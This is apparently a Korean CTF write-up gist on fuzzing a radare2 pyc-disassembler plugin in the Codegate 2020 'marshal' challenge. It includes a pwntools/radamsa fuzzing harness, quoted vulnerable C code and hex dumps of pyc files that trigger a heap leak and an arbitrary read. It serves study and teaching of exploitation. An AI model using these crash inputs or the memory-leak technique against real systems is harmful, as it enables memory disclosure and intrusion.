Skip to content

Instantly share code, notes, and snippets.

@junorouse
Last active March 15, 2020 09:34
Show Gist options
  • Save junorouse/e3cab572025c472a494ab6b3869f319a to your computer and use it in GitHub Desktop.
Save junorouse/e3cab572025c472a494ab6b3869f319a to your computer and use it in GitHub Desktop.
My approach to solve marshal (codegate 2020) prequal - 우주의 힘을 빌려 해킹하는 법

setup

RUN sed -i -re 's/([a-z]{2}.)?archive.ubuntu.com|security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list

dockerfile이 주어지면 제일먼저 위 구문을 상단에 박아둔다. 한국에 있기 때문에 apt 서버를 카카오미러로 바꾸면 매우 빠르게 도커 파일을 빌드할 수 있음.

run 할 때 -v 옵션과(호스트 머신과 FS공유하기 위함) --cap-add=SYS_PTRACE를 통해 debuggable하게 설정해주면 된다.

docker run -i -t --entrypoint bash -v /tmp:/1234 -v gateway:/app/gateway -p '127.0.0.1:1235:9999' --name "ps_name" image_name                                              

overview

➜  binary_flag wc -l patch.diff 
2818 patch.diff
➜  binary_flag 

--> 양심이 없다, 혹시 몰라 add된 것을 검색해봤더니 이미 있는 경우가 있어, 새로 받아서 넣어봤다. (radare2-extras)

➜  radare2-extras git:(master) ✗ git remote -v
origin	https://github.com/radareorg/radare2-extras.git (fetch)
origin	https://github.com/radareorg/radare2-extras.git (push)


	new file:   libr/asm/arch/pyc/pyc_disasm.c
	new file:   libr/asm/p/Makefile.orig
	new file:   libr/asm/p/Makefile.rej
	new file:   libr/bin/p/Makefile.orig
	new file:   libr/bin/p/Makefile.rej
	new file:   plugins.def.cfg.orig
	new file:   prob/Makefile
	new file:   prob/main.c

코럼 그렇지~ 문제 파일과 pyc_disasm.c만 추가 되었다. 300줄 가량으로 줄어들었다.

finding vuln (arbitrary read)

충성 군인 임준오는 밤 9시가 되면 잠이 온다. (= 코드가 눈에 안들어온다.) 분석 좀 하다가 뭐가 뭔지 모르겠어서 우주의 기운을 빌려 퍼징을 하기로 했다.

pyc 포맷을 몰라 컴파일 해서 쓰기로 했다. 처음에 당연히 python3 인줄 알았는데 로드하니깐 에러가 났다. 시대가 언젠데 파이썬2를? ㅎㅁㅎ 무튼 컴파일은 아래와 같이 했다.

import py_compile
py_compile.compile("pypypyppyp.py")

첫번째 시드는 "왜"인지는 기억이 안나지만 코드를 보아하니 튜플과 스트링을 넣어야 터질 것 같이 생겨먹어서 나의 운에 맡겨 보기로 했다.

a=["absadfsadfsadfasdfasdfsadfsadfsadfsadfsadf", "sdafjnasdjkfnsdakjfnjk23n4kj32n4n32kj4nkjsdnakjfasdf", "dsfjsnafjlksandflkm2l3k4mlkxczmvlkxzmcklvzxc", 2134123128,123123,123123123,1231.23123123,"sdfkmnsdlkafmasdlkfasdfasdf"]
b=["absadfsadfsadfasdfasdfsadfsadfsadfsadfsadf", "sdafjnasdjkfnsdakjfnjk23n4kj32n4n32kj4nkjsdnakjfasdf", "dsfjsnafjlksandflkm2l3k4mlkxczmvlkxzmcklvzxc", 2134123128,123123,123123123,1231.23123123,"sdfkmnsdlkafmasdlkfasdfasdf"]
c=["absadfsadfsadfasdfasdfsadfsadfsadfsadfsadf", "sdafjnasdjkfnsdakjfnjk23n4kj32n4n32kj4nkjsdnakjfasdf", "dsfjsnafjlksandflkm2l3k4mlkxczmvlkxzmcklvzxc", 2134123128,123123,123123123,1231.23123123,"sdfkmnsdlkafmasdlkfasdfasdf"]
d=["absadfsadfsadfasdfasdfsadfsadfsadfsadfsadf", "sdafjnasdjkfnsdakjfnjk23n4kj32n4n32kj4nkjsdnakjfasdf", "dsfjsnafjlksandflkm2l3k4mlkxczmvlkxzmcklvzxc", 2134123128,123123,123123123,1231.23123123,"sdfkmnsdlkafmasdlkfasdfasdf"]
e=["absadfsadfsadfasdfasdfsadfsadfsadfsadfsadf", "sdafjnasdjkfnsdakjfnjk23n4kj32n4n32kj4nkjsdnakjfasdf", "dsfjsnafjlksandflkm2l3k4mlkxczmvlkxzmcklvzxc", 2134123128,123123,123123123,1231.23123123,"sdfkmnsdlkafmasdlkfasdfasdf"]
f=["absadfsadfsadfasdfasdfsadfsadfsadfsadfsadf", "sdafjnasdjkfnsdakjfnjk23n4kj32n4n32kj4nkjsdnakjfasdf", "dsfjsnafjlksandflkm2l3k4mlkxczmvlkxzmcklvzxc", 2134123128,123123,123123123,1231.23123123,"sdfkmnsdlkafmasdlkfasdfasdf"]
print a, b, c, d, e, f

아마 여기서 널디레가 떴다.. (모니터 만들기 귀찮아서 30개씩 돌리고 세그폴 나면 손으로 미니마이즈 했다 ㅎ..)

from pwn import *
import py_compile

context.terminal = ['tmux', 'splitw', '-h']
py_compile.compile("r.py")

import os

r = process('/usr/local/bin/prob', aslr=True)
# r = remote('211.117.60.23', 7777)


for i in xrange(0, 20):
    os.system('cat r.pyc | ./radamsa > seeds/b%d.pyc' % i)
    data = open('seeds/b%d.pyc' % i, 'rb').read()
    # data = open('get_list_0_full.pyc', 'rb').read()
    # data = open('heap_leak.pyc', 'rb').read()
    print 'len', len(data)
    if len(data) > 4096: continue

    r.sendline('1')
    r.sendlineafter('length:', str(len(data)))

    r.send(data)
    data = r.recvuntil('[1]')
    
context.log_level = 'debug'

import string

count = 0
while True:
    r.sendline('2')
    r.sendline(str(count))
    data = r.recvuntil('[1]')

r.interactive()

우선 sigsegv가 발생하면 pwntools에서 알려주기 때문에 시드를 바꿔가면서 돌려봤다. (numpy, os, 등등)

그러던 중 우주가 나에게 퍼저 코드를 퍼징하면 어떨까? 라는 질문을 던져주셨다. 대충 검색해서 맨 위에 나온 퍼저를 시드로 해서 돌려봤다. (https://github.com/nccgroup/Hodor/blob/01be1077a1ede236fac78103816e7d58b64e43e6/post_hodor.py)

그랬더니 This module handles the processing of mutated output 이 문자열 즈음.. [rax] 레퍼런스 하다가 죽는것이 아니겠는가 ?!

소스코드 심볼까지 다 있어서 대충 분석했더니 list->head가 덮이는 것이었다. list는 r2에서 제공하는 data structure이다. 해당 자료구조를 쉽게 사용할 수 있도록 API를 제공해주는데 r_list_get_n을 하다가 죽는 것이었다. 그럼 이제 임의 주소를 list의 elem으로 줄 수 있으니 주소를 알아내야 한다.

난 우주의 기운을 받은 사나이.

count = 0
while True:
    r.sendline('2')
    r.sendline(str(count))
    data = r.recvuntil('[1]')

    for y in list(set([chr(x) for x in range(256)]) - set(list(string.printable))):
        if data.find(y) != -1:
            print('found nonprintable char!!!!!')
            raw_input('zzzz!@@!')
    count += 1

r.interactive()

위 코드를 추가해두고 이번엔 다른 퍼저 (https://github.com/rmadair/fuzzer/blob/bf77b05d19aa53d6317481318faf5598e7fd65f2/client.py#L27) 를 시드로 해서 돌렸더니,,, 하 역시!!!!!

ㅋㅋ

힙 주소 아니깐 근처에 libc관련 주소들 (search -t dword 0x7f??) 찾아서 오프셋으로 libc_base를 구해올 수 있다. 미니마이저 / 모니터 없이 손으로 libc base 까지 구하는데 2시간 정도 소요되었다. Docker 환경이랑 local과 remote의 동작이 정확히 일치해 리모트에서도 릭이 정상적으로 되었다.

이제 write만 찾으면 끝나는데, 원래 전략은 이러했다.

(1) 한번 더 우주의 기운을 받아 r_list_appned 함수의 인자를 조작할 수 있다. (?)
(2) r_list_get_n의 elem의 데이터를 조작해 arbitrary address에 arbitrary value를 write하게 하자였다..

결론은 그런거 없었다. (2번이 인텐디드 솔루션이었는데 내 시드에 constant tuple가 없어서 안나온듯, (이거 쓰면서 넣고 해도 안나왔음 ㅜ)) 좀 더하다가 가망이 없어보이고 졸려서 꿈나라로 도망갔다 (ㅜㅜ) -- 이때가 한 4시였나 그랬는데 그냥 자도 파이널은 갈 것 같았다ㅋㅋㅋ (halfeed 못 풀었으면 광탈 할 뻔 했지만.,.)

write

대회가 끝나고 출제자의 공식 라이트업이 올라왔다. (https://pr0cf5.github.io/ctf/2020/02/09/exploiting-a-bug-in-radare-plugin.html)

char *generic_array_obj_to_string (RList *l) {
    RListIter *iter = NULL;
    pyc_object *e = NULL;
    ut32 size = 256, used = 0;
    char *r = NULL, *buf = NULL;

    buf = (char*)calloc (1024, 0);
    r_list_foreach (l, iter, e) {
        while ( !(strlen (e->data) < size) ) { /* [1] */
            size *= 2;
            buf = realloc (buf, used + size);
            if (!buf) {
                eprintf ("generic_array_obj_to_string cannot request more memory");
                return NULL;
            }
        }
        strcat (buf, e->data);
        strcat (buf, ",");
        size -= strlen (e->data) + 1; /* [2] */
        used += strlen (e->data) + 1;
    }
    /* remove last , */
    buf[ strlen(buf)-1 ] = '\0';
    r = r_str_newf ("(%s)", buf);
    free(buf);
    return r;
}

그렇다. 흠 tuple list 갖고오다가 뒤지는거를 열심히 퍼징했지만 안나와서 일단은 여기까지만 하고,, 최대한 빠른 시일내에 퍼징으로 풀어보겠다.. 시드를 잘 맞춰야겠다 ㅋㅋㅋ

future work

010 editor structure file등,, 이미 알려진 포맷을 자동으로 임포트해서 (타입 같은거) 쉽게 퍼징할 수 있는 라이브러리를 만들어야겠다.

@junorouse
Copy link
Author

junorouse commented Feb 13, 2020

heap_leak.pyc

00000000: 03f3 0d0a 19e2 3e5e 6300 0000 0000 0000 0004 0000 0040 0000 0073 f500 0000 6400  ......>^[email protected].
00000020: 0064 0100 6c00 006d 0100 5a01 006d 0200 5a02 006d 0300 5a03 006d 0400 5a04 0001  .d..l..m..Z..m..Z..m..Z..m..Z...
00000040: 6400 0064 0200 6c05 006d 0600 5a06 0001 6400 0064 0300 6c07 006d 0800 5a08 0001  d..d..l..m..Z...d..d..l..m..Z...
00000060: 6400 0064 0400 6c09 005a 0900 6405 0084 0000 5a0a 0064 0600 6508 006a 0b00 6601  d..d..l..Z..d.....Z..d..e..j..f.
00000080: 0064 0700 8400 0083 0000 595a 0c00 6408 0065 0300 6a0d 0066 0100 6409 0084 0081  .d........YZ..d..e..j..f..d.....
000000a0: 0083 0000 595a 0e00 640a 0084 0000 5a0f 0065 1000 640b 006b 0200 72f1 0065 0f00  ....YZ..d.....Z..e..d..k..r..e..
000000c0: 6511 0083 0100 5a12 0065 0200 6a13 0065 0100 6512 006a 1400 6512 006a 1500 8303  e.....Z..e..j..e..e..j..e..j....
000000e0: 006a 1600 650e 0065 1200 6a17 0065 1200 6a18 0083 0200 8301 006a 1900 650a 0083  .j..e..e..j..e..j........j..e...
00000100: 0100 0165 0100 6a1a 0083 0000 016e 0000 6404 0053 280c 0000 0069 ffff ffff 2804  ...e..j......n..d..S(....i....(.
00000120: 0000 0074 0700 0000 7265 6163 746f 7274 0900 0000 656e 6470 6f69 6e74 7374 0800  ...t....reactort....endpointst..
00000140: 0000 7072 6f74 6f63 6f6c 7405 0000 0064 6566 6572 2801 0000 0074 0b00 0000 4c6f  ..protocolt....defer(....t....Lo
00000160: 6f70 696e 6743 616c 6c28 0100 0000 7403 0000 0061 6d70 4e63 0100 0000 0100 0000  opingCall(....t....ampNc........
00000180: 0300 0000 4300 0000 7325 0000 0064 0100 477c 0000 4748 790e 0074 0000 6a01 0083  ....C...s%...d..G|..GHy..t..j...
000001a0: 0000 0157 6e07 0001 0101 6e01 0058 6402 0053 2803 0000 0073 3b00 0000 2047 656e  ...Wn.....n..Xd..S(....s;... Gen
000001c0: 6572 6963 2066 756e 6374 696f 6e20 746f 2073 746f 7020 7468 6520 7265 6163 746f  eric function to stop the reacto
000001e0: 7220 2061 6e64 2070 7269 6e74 2061 206d 6573 7361 6765 2073 0a00 0000 5374 6f70  r  and print a message s....Stop
00000200: 7069 6e67 203a 4e28 0200 0000 5200 0000 0074 0400 0000 7374 6f70 2801 0000 0074  ping :N(....R....t....stop(....t
00000220: 0600 0000 7265 6173 6f6e 2800 0000 0028 0000 0000 7309 0000 0063 6c69 656e 742e  ....reason(....(....s....client.
00000240: 7079 5206 0000 0007 0000 0073 0a00 0000 0002 0902 0301 0e01 0301 7414 0000 0046  pyR........s..............t....F
00000260: 757a 7a65 7243 6c69 656e 7450 726f 746f 636f 6c63 0000 0000 0000 0000 0100 0000  uzzerClientProtocolc............
00000280: 4200 0000 732c 0000 0065 0000 5a01 0064 0000 8400 005a 0200 6401 0084 0000 5a03  B...s,...e..Z..d.....Z..d.....Z.
000002a0: 0064 0200 8400 005a 0400 6403 0084 0000 5a05 0052 5328 0400 0000 6301 0000 0001  .d.....Z..d.....Z..RS(....c.....
000002c0: 0000 0002 0000 0043 0000 0073 1900 0000 7400 0083 0000 7c00 005f 0100 6400 007c  .......C...s....t.....|.._..d..|
000002e0: 0000 5f03 0064 0000 5328 0100 0000 4e28 0400 0000 7408 0000 0045 7865 6375 746f  .._..d..S(....N(....t....Executo
00000300: 7274 0800 0000 6578 6563 7574 6f72 7404 0000 004e 6f6e 6574 0d00 0000 6f72 6967  rt....executort....Nonet....orig
00000320: 696e 616c 5f66 696c 6528 0100 0000 7404 0000 0073 656c 6628 0000 0000 2800 0000  inal_file(....t....self(....(...
00000340: 0073 0900 0000 636c 6965 6e74 2e70 7974 0800 0000 5f5f 696e 6974 5f5f 1200 0000  .s....client.pyt....__init__....
00000360: 7304 0000 0000 010c 0163 0100 0000 0200 0000 0300 0000 4300 0000 7347 0000 007c  s........c............C...sG...|
00000380: 0000 6a00 0083 0000 7c00 006a 0100 8300 007c 0000 6a02 0083 0000 6703 007d 0100  ..j.....|..j.....|..j.....g..}..
000003a0: 7403 006a 0400 7c01 0083 0100 6a05 007c 0000 6a06 0083 0100 6a07 0074 0800 8301  t..j..|.....j..|..j.....j..t....
000003c0: 0001 6400 0053 2801 0000 004e 2809 0000 0074 0f00 0000 6765 744f 7269 6769 6e61  ..d..S(....N(....t....getOrigina
000003e0: 6c46 696c 6574 0a00 0000 6765 7450 726f 6772 616d 7410 0000 0067 6574 4d75 7461  lFilet....getProgramt....getMuta
00000400: 7469 6f6e 5479 7065 7352 0300 0000 740d 0000 0067 6174 6865 7252 6573 756c 7473  tionTypesR....t....gatherResults
00000420: 740b 0000 0061 6464 4361 6c6c 6261 636b 740b 0000 0066 696e 6973 6853 6574 7570  t....addCallbackt....finishSetup
00000440: 740a 0000 0061 6464 4572 7262 6163 6b52 0600 0000 2802 0000 0052 0d00 0000 740e  t....addErrbackR....(....R....t.
00000460: 0000 0073 6574 7570 4465 6665 7272 6564 7328 0000 0000 2800 0000 0073 0900 0000  ...setupDeferreds(....(....s....
00000480: 636c 6965 6e74 2e70 7974 0e00 0000 636f 6e6e 6563 7469 6f6e 4d61 6465 1600 0000  client.pyt....connectionMade....
000004a0: 7304 0000 0000 0121 0163 0100 0000 0100 0000 0200 0000 4300 0000 7325 0000 007c  s......!.c............C...s%...|
000004c0: 0000 6a00 0074 0100 6a02 0083 0100 6a03 007c 0000 6a04 0083 0100 6a05 0074 0600  ..j..t..j.....j..|..j.....j..t..
000004e0: 8301 0053 2801 0000 0073 2600 0000 2041 736b 2074 6865 2073 6572 7665 7220 666f  ...S(....s&... Ask the server fo
00000500: 7220 7468 6520 6e65 7874 206d 7574 6174 696f 6e20 2807 0000 0074 0a00 0000 6361  r the next mutation (....t....ca
00000520: 6c6c 5265 6d6f 7465 7408 0000 0063 6f6d 6d61 6e64 7374 0f00 0000 4765 744e 6578  llRemotet....commandst....GetNex
00000540: 744d 7574 6174 696f 6e52 1300 0000 7413 0000 0065 7865 6375 7465 4e65 7874 4d75  tMutationR....t....executeNextMu
00000560: 7461 7469 6f6e 5215 0000 0052 0600 0000 2801 0000 0052 0d00 0000 2800 0000 0028  tationR....R....(....R....(....(
00000580: 0000 0000 7309 0000 0063 6c69 656e 742e 7079 740f 0000 0067 6574 4e65 7874 4d75  ....s....client.pyt....getNextMu
000005a0: 7461 7469 6f6e 1a00 0000 7306 0000 0000 0212 010c 0163 0200 0000 0400 0000 0700  tation....s..........c..........
000005c0: 0000 4300 0000 7398 0000 007c 0000 6a00 006a 0100 7c01 0064 0100 197c 0100 6402  ..C...s....|..j..j..|..d...|..d.
000005e0: 0019 8302 007d 0200 7c00 006a 0200 6a03 007c 0000 6a04 007c 0200 8302 007d 0300  .....}..|..j..j..|..j..|.....}..
00000600: 7c03 0072 8600 6403 007c 0100 6401 0019 7c01 0064 0200 197c 0200 6603 0016 4748  |..r..d..|..d...|..d...|..f...GH
00000620: 7405 0064 0400 7c02 0016 6404 0074 0600 7c00 006a 0700 6a08 0074 0900 7c02 0083  t..d..|...d..t..|..j..j..t..|...
00000640: 0100 6405 0019 8302 0016 8302 0001 6e00 0074 0a00 6404 007c 0200 1683 0100 0164  ..d...........n..t..d..|.......d
00000660: 0000 5328 0600 0000 4e74 0600 0000 6f66 6673 6574 740e 0000 006d 7574 6174 696f  ..S(....Nt....offsett....mutatio
00000680: 6e5f 696e 6465 7873 3700 0000 476f 7420 6f75 7470 7574 2c20 4f66 6673 6574 203d  n_indexs7...Got output, Offset =
000006a0: 2025 642c 204d 7574 6174 696f 6e5f 496e 6465 7820 3d20 2564 2c20 4669 6c65 203d   %d, Mutation_Index = %d, File =
000006c0: 2025 7373 0200 0000 2573 69ff ffff ff28 0b00 0000 7407 0000 006d 7574 6174 6f72   %ss....%si....(....t....mutator
000006e0: 7411 0000 0063 7265 6174 654d 7574 6174 6564 4669 6c65 520a 0000 0074 0700 0000  t....createMutatedFileR....t....
00000700: 6578 6563 7574 6574 0700 0000 7072 6f67 7261 6d74 0400 0000 636f 7079 7404 0000  executet....programt....copyt...
00000720: 006a 6f69 6e74 0700 0000 6661 6374 6f72 7974 0e00 0000 7361 7665 5f64 6972 6563  .joint....factoryt....save_direc
00000740: 746f 7279 7405 0000 0073 706c 6974 7406 0000 0072 656d 6f76 6528 0400 0000 520d  toryt....splitt....remove(....R.
00000760: 0000 0074 0800 0000 6d75 7461 7469 6f6e 740d 0000 006e 6577 5f66 696c 655f 6e61  ...t....mutationt....new_file_na
00000780: 6d65 7406 0000 006f 7574 7075 7428 0000 0000 2800 0000 0073 0900 0000 636c 6965  met....output(....(....s....clie
000007a0: 6e74 2e70 7952 1b00 0000 2000 0000 730c 0000 0000 011d 0118 0106 011a 0131 0328  nt.pyR.... ...s..............1.(
000007c0: 0600 0000 7408 0000 005f 5f6e 616d 655f 5f74 0a00 0000 5f5f 6d6f 6475 6c65 5f5f  ....t....__name__t....__module__
000007e0: 520e 0000 0052 1700 0000 521c 0000 0052 1b00 0000 2800 0000 0028 0000 0000 2800  R....R....R....R....(....(....(.
00000800: 0000 0073 0900 0000 636c 6965 6e74 2e70 7952 0800 0000 1000 0000 7308 0000 0006  ...s....client.pyR........s.....
00000820: 0209 0409 0409 0674 1300 0000 4675 7a7a 6572 436c 6965 6e74 4661 6374 6f72 7963  .......t....FuzzerClientFactoryc
00000840: 0000 0000 0000 0000 0100 0000 4200 0000 7317 0000 0065 0000 5a01 0065 0200 5a03  ............B...s....e..Z..e..Z.
00000860: 0064 0000 8400 005a 0400 5253 2801 0000 0063 0300 0000 0300 0000 0200 0000 4300  .d.....Z..RS(....c............C.
00000880: 0000 730d 0000 007c 0200 7c00 005f 0000 6400 0053 2801 0000 004e 2801 0000 0052  ..s....|..|.._..d..S(....N(....R
000008a0: 2600 0000 2803 0000 0052 0d00 0000 740d 0000 0074 6d70 5f64 6972 6563 746f 7279  &...(....R....t....tmp_directory
000008c0: 5226 0000 0028 0000 0000 2800 0000 0073 0900 0000 636c 6965 6e74 2e70 7952 0e00  R&...(....(....s....client.pyR..
000008e0: 0000 2e00 0000 7302 0000 0000 0128 0500 0000 522c 0000 0052 2d00 0000 5208 0000  ......s......(....R,...R-...R...
00000900: 0052 0200 0000 520e 0000 0028 0000 0000 2800 0000 0028 0000 0000 7309 0000 0063  .R....R....(....(....(....s....c
00000920: 6c69 656e 742e 7079 522e 0000 002b 0000 0073 0400 0000 0601 0602 6301 0000 0002  lient.pyR....+...s........c.....
00000940: 0000 000a 0000 0043 0000 0073 cb00 0000 7400 006a 0100 6401 0064 0200 6403 0064  .......C...s....t..j..d..d..d..d
00000960: 0400 6405 0064 0600 6407 0064 0800 6409 0083 0104 0174 0000 6a01 0064 0a00 6402  ..d..d..d..d..d......t..j..d..d.
00000980: 0064 0300 6404 0064 0b00 6406 0064 0c00 6408 0064 0b00 8301 0401 7400 006a 0100  .d..d..d..d..d..d..d......t..j..
000009a0: 640d 0064 0200 6403 0064 0400 640e 0064 0600 640f 0064 0800 640e 0083 0104 0174  d..d..d..d..d..d..d..d..d......t
000009c0: 0000 046a 0200 6410 0037 025f 0200 7400 006a 0300 7c00 0083 0100 5c02 007d 0100  ...j..d..7._..t..j..|.....\..}..
000009e0: 7d00 0074 0400 7c01 006a 0500 7c01 006a 0600 7c01 006a 0700 7c01 006a 0800 6604  }..t..|..j..|..j..|..j..|..j..f.
00000a00: 0083 0100 73c7 0074 0000 6a09 0064 1100 8301 0001 6e00 007c 0100 5328 1200 0000  ....s..t..j..d......n..|..S(....
00000a20: 4e73 0200 0000 2d73 7406 0000 0061 6374 696f 6e74 0500 0000 7374 6f72 6574 0400  Ns....-st....actiont....storet..
00000a40: 0000 6465 7374 7404 0000 0068 6f73 7474 0400 0000 6865 6c70 7314 0000 0053 6572  ..destt....hostt....helps....Ser
00000a60: 7665 7220 746f 2063 6f6e 6e65 6374 2074 6f74 0700 0000 6d65 7461 7661 7274 0600  ver to connect tot....metavart..
00000a80: 0000 7365 7276 6572 7302 0000 002d 7474 0e00 0000 7465 6d70 5f64 6972 6563 746f  ..servers....-tt....temp_directo
00000aa0: 7279 732b 0000 0054 656d 706f 7261 7279 2064 6972 6563 746f 7279 2066 6f72 2066  rys+...Temporary directory for f
00000ac0: 696c 6573 2074 6f20 6265 2063 7265 6174 6564 7302 0000 002d 6752 2600 0000 7338  iles to be createds....-gR&...s8
00000ae0: 0000 0053 6176 652d 6469 7265 6374 6f72 792c 2066 6f72 2066 696c 6573 2074 6f20  ...Save-directory, for files to 
00000b00: 6265 2073 6176 6564 2074 6861 7420 6361 7573 6520 6372 6173 6865 7373 3100 0000  be saved that cause crashess1...
00000b20: 2e2f 636c 6965 6e74 2e70 7920 2d73 2031 3237 2e30 2e30 2e31 202d 7020 3132 3334  ./client.py -s 127.0.0.1 -p 1234
00000b40: 3520 2d74 2074 656d 7020 2d73 2073 6176 6573 5700 0000 496e 636f 7272 6563 7420  5 -t temp -s savesW...Incorrect 
00000b60: 6e75 6d62 6572 206f 6620 6172 6775 6d65 6e74 7320 2d20 6d75 7374 2073 7065 6369  number of arguments - must speci
00000b80: 6679 2074 656d 705f 6469 7265 6374 6f72 792c 2073 6176 655f 6469 7265 6374 6f72  fy temp_directory, save_director
00000ba0: 792c 2068 6f73 742c 2070 6f72 7428 0a00 0000 7406 0000 0070 6172 7365 7274 0a00  y, host, port(....t....parsert..
00000bc0: 0000 6164 645f 6f70 7469 6f6e 7406 0000 0065 7069 6c6f 6774 0a00 0000 7061 7273  ..add_optiont....epilogt....pars
00000be0: 655f 6172 6773 7403 0000 0061 6c6c 5237 0000 0052 2600 0000 7404 0000 0070 6f72  e_argst....allR7...R&...t....por
00000c00: 7452 3300 0000 7405 0000 0065 7272 6f72 2802 0000 0074 0400 0000 6172 6773 7407  tR3...t....error(....t....argst.
00000c20: 0000 006f 7074 696f 6e73 2800 0000 0028 0000 0000 7309 0000 0063 6c69 656e 742e  ...options(....(....s....client.
00000c40: 7079 740b 0000 0063 6865 636b 5f75 7361 6765 3100 0000 7310 0000 0000 0125 0125  pyt....check_usage1...s......%.%
00000c60: 0125 010f 0115 0324 0110 0274 0800 0000 5f5f 6d61 696e 5f5f 281b 0000 0074 1000  .%.....$...t....__main__(....t..
00000c80: 0000 7477 6973 7465 642e 696e 7465 726e 6574 5200 0000 0052 0100 0000 5202 0000  ..twisted.internetR....R....R...
00000ca0: 0052 0300 0000 7415 0000 0074 7769 7374 6564 2e69 6e74 6572 6e65 742e 7461 736b  .R....t....twisted.internet.task
00000cc0: 5204 0000 0074 1100 0000 7477 6973 7465 642e 7072 6f74 6f63 6f6c 7352 0500 0000  R....t....twisted.protocolsR....
00000ce0: 5219 0000 0052 0600 0000 7403 0000 0041 4d50 5208 0000 0074 0d00 0000 436c 6965  R....R....t....AMPR....t....Clie
00000d00: 6e74 4661 6374 6f72 7952 2e00 0000 5241 0000 0052 2c00 0000 7404 0000 0061 7267  ntFactoryR....RA...R,...t....arg
00000d20: 7652 4000 0000 7412 0000 0054 4350 3443 6c69 656e 7445 6e64 706f 696e 7452 3300  [email protected].
00000d40: 0000 523d 0000 0074 0700 0000 636f 6e6e 6563 7452 3700 0000 5226 0000 0052 1500  ..R=...t....connectR7...R&...R..
00000d60: 0000 7403 0000 0072 756e 2800 0000 0028 0000 0000 2800 0000 0073 0900 0000 636c  ..t....run(....(....(....s....cl
00000d80: 6965 6e74 2e70 7974 0800 0000 3c6d 6f64 756c 653e 0200 0000 731a 0000 0022 0110  ient.pyt....<module>....s...."..
00000da0: 0110 010c 0209 0919 1b19 0609 0d0c 010c 011b 0118 0107 01                        .......................

arbitrary_read.pyc

00000000: 03f3 0d0a 9dd9 3e5e 6300 0000 0000 0000 0002 0000 0040 0000 0073 5800 0000 6400  ......>^[email protected].
00000020: 005a 0000 6401 0064 0200 6c01 005a 0100 6401 0064 0200 6c02 005a 0200 6401 0064  .Z..d..d..l..Z..d..d..l..Z..d..d
00000040: 0200 6c03 005a 0300 6401 0064 0200 6c04 005a 0400 6401 0064 0200 6c05 005a 0500  ..l..Z..d..d..l..Z..d..d..l..Z..
00000060: 6403 0084 0000 5a06 0064 0400 8400 005a 0700 6402 0053 2805 0000 0073 7100 0000  d.....Z..d.....Z..d..S(....sq...
00000080: 0a54 6869 7320 6d6f 6475 6c65 2068 616e 646c 6573 2074 6865 2070 726f 6365 7373  .This module handles the process
000000a0: 696e 6720 6f66 206d 7574 6174 6564 206f 7574 7075 740a 446f 2066 696e 616c 206d  ing of mutated output.Do final m
000000c0: 6f64 6966 6963 6174 696f 6e73 2074 6f20 6461 7461 2074 6865 6e20 7365 6e64 2074  odifications to data then send t
000000e0: 6f20 616e 206f 7574 7075 7420 6d6f 6465 0a69 ffff ffff 4e63 0300 0000 0600 0000  o an output mode.i....Nc........
00000100: 0500 0000 4300 0000 736b 0000 0074 0000 6a01 0074 0200 6a03 0074 0400 1974 0000  ....C...sk...t..j..t..j..t...t..
00000120: 6a05 0083 0200 7d03 0064 0100 8400 007c 0300 4483 0100 7d04 0078 2500 7406 006a  j.....}..d.....|..D...}..x%.t..j
00000140: 0700 445d 1a00 7d05 007c 0400 7c05 0019 7c00 007c 0100 7c02 0083 0300 0171 3600  ..D]..}..|..|...|..|..|......q6.
00000160: 5774 0800 6a09 007c 0000 7c01 007c 0200 8303 0001 6400 0053 2802 0000 004e 6301  Wt..j..|..|..|......d..S(....Nc.
00000180: 0000 0002 0000 0005 0000 0053 0000 0073 2100 0000 6900 007c 0000 5d17 007d 0100  ...........S...s!...i..|..]..}..
000001a0: 7c01 0064 0000 197c 0100 6401 0019 9302 0071 0600 5328 0200 0000 6901 0000 0069  |..d...|..d......q..S(....i....i
000001c0: 0000 0000 2800 0000 0028 0200 0000 7402 0000 002e 3074 0100 0000 7828 0000 0000  ....(....(....t.....0t....x(....
000001e0: 2800 0000 0073 0600 0000 7774 662e 7079 730a 0000 003c 6469 6374 636f 6d70 3e0e  (....s....wtf.pys....<dictcomp>.
00000200: 0000 0073 0200 0000 0900 280a 0000 0074 0700 0000 696e 7370 6563 7474 0a00 0000  ...s......(....t....inspectt....
00000220: 6765 746d 656d 6265 7273 7403 0000 0073 7973 7407 0000 006d 6f64 756c 6573 7408  getmemberst....syst....modulest.
00000240: 0000 005f 5f6e 616d 655f 5f74 0a00 0000 6973 6675 6e63 7469 6f6e 740c 0000 0063  ...__name__t....isfunctiont....c
00000260: 6f6e 6669 675f 686f 646f 7274 0c00 0000 706f 7374 5f68 616e 646c 6572 7409 0000  onfig_hodort....post_handlert...
00000280: 006f 7574 5f68 6f64 6f72 7403 0000 006f 7574 2806 0000 0074 0600 0000 4142 4344  .out_hodort....out(....t....ABCD
000002a0: 4546 7405 0000 0070 6c6f 636b 7405 0000 0074 6c6f 636b 7408 0000 0066 756e 636c  EFt....plockt....tlockt....funcl
000002c0: 6973 7474 0800 0000 6675 6e63 6469 6374 7407 0000 0068 616e 646c 6572 2800 0000  istt....funcdictt....handler(...
000002e0: 0028 0000 0000 7306 0000 0077 7466 2e70 7952 1100 0000 0c00 0000 730a 0000 0000  .(....s....wtf.pyR........s.....
00000300: 011c 0110 0110 0118 0163 0300 0000 0700 0000 0600 0000 4300 0000 73b3 0200 0074  .........c............C...s....t
00000320: 0000 6a01 0064 0100 1972 b600 7400 006a 0100 6402 0019 72b6 0078 9900 7400 006a  ..j..d...r..t..j..d...r..x..t..j
00000340: 0100 6401 0019 445d 8700 7d03 0074 0000 6a01 0064 0100 1964 0300 197c 0300 6403  ..d...D]..}..t..j..d...d...|..d.
00000360: 0019 6b04 0072 2800 7400 006a 0100 6402 0019 6403 0019 7c03 0064 0400 196b 0100  ..k..r(.t..j..d...d...|..d...k..
00000380: 7228 0064 0500 7402 0074 0000 6a01 0064 0200 1964 0300 1983 0100 1764 0600 1774  r(.d..t..t..j..d...d.......d...t
000003a0: 0200 7c03 0064 0300 1983 0100 1764 0700 1774 0200 7c03 0064 0400 1983 0100 1747  ..|..d.......d...t..|..d.......G
000003c0: 4874 0300 6404 0083 0100 0171 c0a8 0071 2800 576e 0000 7400 006a 0100 6401 0019  Ht..d......q...q(.Wn..t..j..d...
000003e0: 72aa 0167 0000 7d04 0078 3100 7400 006a 0100 6401 0019 445d 2200 7d03 007c 0400  r..g..}..x1.t..j..d...D]".}..|..
00000400: 6a04 007c 0000 7c03 0064 0300 197c 0300 6404 0019 2183 0100 0171 d700 5774 0500  j..|..|..d...|..d...!....q..Wt..
